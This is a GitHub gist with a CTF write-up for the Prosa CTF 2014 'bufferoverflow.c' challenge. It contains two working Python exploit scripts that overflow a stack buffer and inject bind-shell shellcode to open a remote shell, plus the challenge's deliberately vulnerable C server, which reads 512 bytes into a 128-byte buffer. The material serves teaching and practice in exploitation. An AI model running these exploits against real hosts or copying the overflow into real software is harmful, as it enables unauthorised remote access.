Skip to content

Instantly share code, notes, and snippets.

@christianpanton
Last active August 29, 2015 14:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save christianpanton/55657cb0ca632f6995d0 to your computer and use it in GitHub Desktop.
Save christianpanton/55657cb0ca632f6995d0 to your computer and use it in GitHub Desktop.
Prosa CTF 2014 "bufferoverflow.c" writeup
The service asks for two inputs. Both are placed on
the stack. The second buffer can be overflowed (accepts
512 bytes, buffer size is 128), and you can replace
the return value on the stack with the beginning for the
first buffer.
The service is nice to tell us where the first buffer
is located. So we overwrite the return value at 128 + 12
on the stack, with the location which the service told
the first buffer was located. So we can fill that stack
buffer with some shellcode, as it will be executed when
the function returns.
I found mine at:
http://shell-storm.org/shellcode/files/shellcode-252.php
Thats all folks.
import socket
import binascii
# for testing
# run vuln service as ./bufferoverflow 1337 debug
# shellcode
# bind shell on port 64713
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1337)) # replace with real host and port
# get welcome message and fetch offset
welcome = s.recv(1024)
offset = welcome.split("0x")[1][:8]
print "[+] stack buffer at 0x" + offset
s.sendall(shellcode)
# recieve second message
s.recv(1024)
fillbuff = "A"*128
padding = "BBBBBBBBBBBB" # found in GDB
addr = binascii.unhexlify(offset)[::-1] # flip bytes due to endianess
print "[*] sending exploit"
s.sendall(fillbuff + padding + addr)
print "[+] your shell is at 64713, sir"
s.close()
from pwn import *
TARGET_HOST = "localhost"
TARGET_PORT = 1337
SHELL_PORT = 4444
accept = shellcraft.i386.linux.acceptloop_ipv4(SHELL_PORT) # bind to port
dupsh = shellcraft.i386.linux.dupsh("ebp") # spawn a shell
shellcode = asm(accept + "\n" + dupsh, arch='i386', os='linux')
sock = remote(TARGET_HOST, TARGET_PORT)
offset = sock.recv().split("0x")[1][:8]
log.success("Found memory offset at 0x%s" % offset)
sock.sendline(shellcode)
sock.recv()
fill_buffer = "A"*128
padding = "BBBBBBBBBBBB" # found in GDB
addr = offset.decode('hex')[::-1] # flip for endianess
sock.sendline(fill_buffer + padding + addr)
log.success("Here is teh shell \o/")
shell = remote(TARGET_HOST, SHELL_PORT)
shell.interactive()
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
char buffer1[256];
static int create_server(unsigned short port) {
int server;
int flags;
struct sockaddr_in addr;
server = socket(AF_INET, SOCK_STREAM, 0);
if (server < 0) {
return -1;
}
flags = 1;
if (setsockopt(server, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof(flags)) < 0) {
close(server);
return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(server, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
close(server);
return -1;
}
if (listen(server, 10) < 0) {
close(server);
return -1;
}
return server;
}
void child_died(int sig) {
wait(&sig);
}
void handle_client(int client) {
char buffer2[128];
dprintf(client, "Hello and welcome to this small buffer overflow challenge.\nNow give me a maximum of %d bytes which I'll place at 0x%08lx.\n", sizeof(buffer1), (long unsigned int)buffer1);
if (read(client, buffer1, sizeof(buffer1)) > 0) {
dprintf(client, "Thanks a lot, now I'll read a maximum of %d bytes from you into a %d byte stack buffer.\n", sizeof(buffer2) * 4, sizeof(buffer2));
if (read(client, buffer2, sizeof(buffer2) * 4) > 0) {
dprintf(client, "There, all should be set now. Goodbye.\n");
}
}
}
int main(int argc, char ** argv) {
int server, client, debug = (argc > 2 && strcmp(argv[2], "debug") == 0);
if ((server = create_server(argc > 1 ? atoi(argv[1]) : 9988)) > 0) {
if (!debug) {
signal(SIGCHLD, child_died);
daemon(0, 0);
}
while (1) {
if ((client = accept(server, NULL, NULL)) < 0) {
exit(1);
}
if (!debug && fork()) {
close(client);
} else {
close(server);
handle_client(client);
close(client);
return 0;
}
}
} else {
fprintf(stderr, "Could not create server socket.\n");
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment